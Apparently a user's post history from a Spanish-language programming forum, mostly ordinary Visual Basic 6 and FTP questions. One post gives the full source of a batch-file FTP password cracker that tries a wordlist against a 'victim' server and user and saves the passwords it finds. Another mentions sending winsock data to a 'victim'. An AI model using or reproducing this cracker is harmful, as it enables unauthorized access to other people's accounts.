|
92
|
Programación / Programación Visual Basic / que api usar para pintar circulos de colores? vb 6.0
|
en: 16 Mayo 2011, 04:15 am
|
hola kisiera dibujar circulos con un determinado color en una ventana externa, encontre el api ArcAngle, pero esta api no especifica en sus parametrtos el color sino que usa el color que tenga predefinido esa ventana (negro), lei que con createpen se cambia el color y pincel por defecto de la ventana , pero no quisiera cambiar el pincel por defecto que tiene la ventana , ¿sabran alguna api que haga lo mismo que ArcAngle, es decir circulos y especifique el color sin tener que cambiar el pincel predefinido?
-quisiera dibujar solo la linea del circulo sin rellenar el centro, es decir si hubiera una imagen o color en la ventana, el circulo no deberia tapar a esa imagen o color.
|
|
|
94
|
Programación / Programación Visual Basic / ¿como obtener el angulo de una coordenada? VB 6.0
|
en: 9 Mayo 2011, 04:02 am
|
Holas tengo unas imagenes como estas: tienen un punto azul en un lugar,debo hallar el angulo (0 - 360) en que se encuentran los puntos azules,en la primera parece mas o menos 280 grados, en la segunda imagen se puede sacar que el angulo es 90 con solo mirar, por ahora hice un codigo que usa el api get pixel para buscar el punto azul y me devuelven el x,y donde se encuentra el punto, ¿que funcion o formula podria usar para obtener el angulo a partir de esas coordenadas en VB 6.0?
|
|
|
95
|
Programación / Programación Visual Basic / Re: [Ayuda] VB DLL EP
|
en: 2 Mayo 2011, 04:26 am
|
las dll de vb son dll COM, y esas solo funcionan con programas de visual basic, no se ejecutan como las dll estandar hechas en c++ que tienen un dllmain, por eso no puedes. pero puedes usar el programa vb advanced, que permite que tus dll se creen como si fueran estandar.
|
|
|
98
|
Programación / Scripting / [BATCH] Crackeador de FTP en .bat
|
en: 6 Abril 2011, 01:53 am
|
hola hice este crackeador 100% en .bat , ya lo probe y funciona bien, algunas imagenes: menu principal http://www.imagecross.com/11/image-hosting-view-64.php?id=1123Menu.jpgingreso de datos http://www.imagecross.com/11/image-hosting-view-64.php?id=4315Inicio.jpgclave descifrada http://www.imagecross.com/11/image-hosting-view-64.php?id=3898Password.jpgahora el codigo @ echo off title Crackeador - FTP :::::::: AlxSpy color 0a set cont=0 set num=1 md C:\Crackeador-FTP\ md C:\Crackeador-FTP\Login md C:\Crackeador-FTP\Residuo md C:\Crackeador-FTP\Password del /q C:\Crackeador-FTP\Login del /q C:\Crackeador-FTP\Residuo :Menu set opcion=4 cls echo. echo Menu Principal echo. echo. echo Opciones: echo. echo. echo 1-Leeme, instrucciones echo 2-Iniciar crackeador echo 3-Salir echo. echo ___________________________________________________________________ set /p opcion= if "%opcion%" == "1" goto Manual if "%opcion%" == "2" goto Inicio if "%opcion%" == "3" (goto Salida) else goto menu
:Manual cls echo. echo Leeme, instrucciones echo. echo. echo -Para hacer el Diccionario-listword, agrega echo tu lista de claves en tu fichero de texto: echo ".txt", debes agregar un salto de linea o echo [ENTER] al inicio de la lista y al final de echo la lista porque elprograma tomara la lista echo a partir de segunda linea hasta la penultima. echo -El nombre del fichero puede o no contener echo espacios. echo -Para detener el programa debes cerrar la echo consola. echo -Todos los ficheros que usa el programa estan echo en "C:\Crackeador-FTP", no quedara echo ningun fichero residuo en tus directorios echo principales, solo debes borrar: echo "C:\Crackeador-FTP" al terminar el prgrama. echo -La clave-password descifrado sera mostrado echo en la consola y almacenado en: echo "C:\Crackeador-FTP\Password" echo. echo. echo Pulsa una tecla para volver al menu principal pause>nul goto Menu :Inicio cls echo. echo Iniciar Crackeador [Paso 1/2] echo. echo. echo Para cancelar y volver al menu principal pulsa "C" echo. echo ___________________________________________________________________ set /p host=Ingresa el servidor FTP victima: if "%host%" == "c" goto Menu if "%host%" == "C" goto Menu echo. echo ___________________________________________________________________ set /p user=Ingresa el usuario victima: if "%user%" == "c" goto Menu if "%user%" == "C" goto Menu echo. echo ___________________________________________________________________ set /p dic=Ruta completa del Diccionario: if "%dic%" == "c" goto Menu if "%dic%" == "C" goto Menu if exist "%dic%" (goto Inicio2) else goto error1 :error1 cls echo. echo Error, no se encontro el fichero: echo "%dic%" echo. echo. echo Pulsa una tecla para volver pause>nul goto Inicio :Inicio2 set opcion=4 copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt ren C:\Crackeador-FTP\Diccionario.txt lista.txt ren C:\Crackeador-FTP\lista.txt Diccionario.txt echo FIN>>C:\Crackeador-FTP\Diccionario.txt cls echo. echo Iniciar Crackeador [Paso 2/2] echo. echo. echo Datos y diccionario listos echo ¿Desea iniciar el crackeador ahora? echo. echo 1-Si echo 2-No, volver al paso anterior echo 3-No, volver al menu principal echo. echo ___________________________________________________________________ set /p opcion= if "%opcion%" == "1" goto proceso if "%opcion%" == "2" goto Inicio if "%opcion%" == "3" (goto Menu) else goto Inicio2 :Proceso set /a cont=%cont%+%num% for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a" :Pass set Pass=%1 set Pass=%Pass:"=% if "%Pass%" == "FIN" (goto Fin) else goto Screen :Screen del /q C:\Crackeador-FTP\Login\Login.txt del /q C:\Crackeador-FTP\Residuo\Residuo.txt cls echo. echo. echo Probando Password %cont%... echo. echo %user%>>C:\Crackeador-FTP\Login\Login.txt echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt echo bye>>C:\Crackeador-FTP\Login\Login.txt ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2 :error2 msg *msg Fallo el comando FTP cls echo. echo. echo Fallo el comando FTP echo. echo. echo Pulse una tecla para volver al menu principal pause>nul goto Menu :CheckResult for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a" :txt set txt=%1 set txt=%txt:"=% if "%txt%" == "530" (goto proceso) else goto Password :Password msg *msg Password localizado cls echo. echo. echo Password localizado echo. echo. echo Servidor victima: %host% echo Usuario victima: %user% echo Password victima: %Pass% echo. echo. echo Pulse una tecla para volver al menu principal pause>nul echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt goto Reset :Fin msg *msg Fin de busqueda sin resultados goto reset :Reset set cont=0 del /q C:\Crackeador-FTP\*.txt del /q C:\Crackeador-FTP\Login\*.txt del /q C:\Crackeador-FTP\Residuo\*.txt goto Menu :Salida exit
|
|
|
99
|
Programación / Desarrollo Web / ¿algun servidor ftp gratis?
|
en: 4 Abril 2011, 17:58 pm
|
holas no se si alguien sabra de algun servidor ftp gratuito al que se pueda acceder mediante la consola de windows o cualquier otro programa cliente ftp? , anteriormente estaba registrado en ftp.geocities y ftp.fortunecity pero uno esta offline y el otro falla y ni me deja registrarme de nuevo, llevo bastante rato buscando pero solo encuentros alojamiento web a los que solo se puede acceder por navegador de internet como megaupload , pero ninguno se puede acceder por consola.
|
|
|
100
|
Programación / Programación Visual Basic / Re: Problema al enviar datos con winsock
|
en: 3 Abril 2011, 05:59 am
|
seguro que estas usando arrays de winsock. el listview debe tener una prop. que indique el index del elemento de la lista que hayas seleccionado, algo como el listbox y su prop. listindex, pues podrias usar esa prop. para indicar cual de todos los elementos del array winsock debe enviar datos al clickear sobre a tu victima en el listview, algo asi hice pero con el listbox: dim x as integer x=list1.listindex winsock(x).senddata "DATO"
|
|
|
|
|
|
|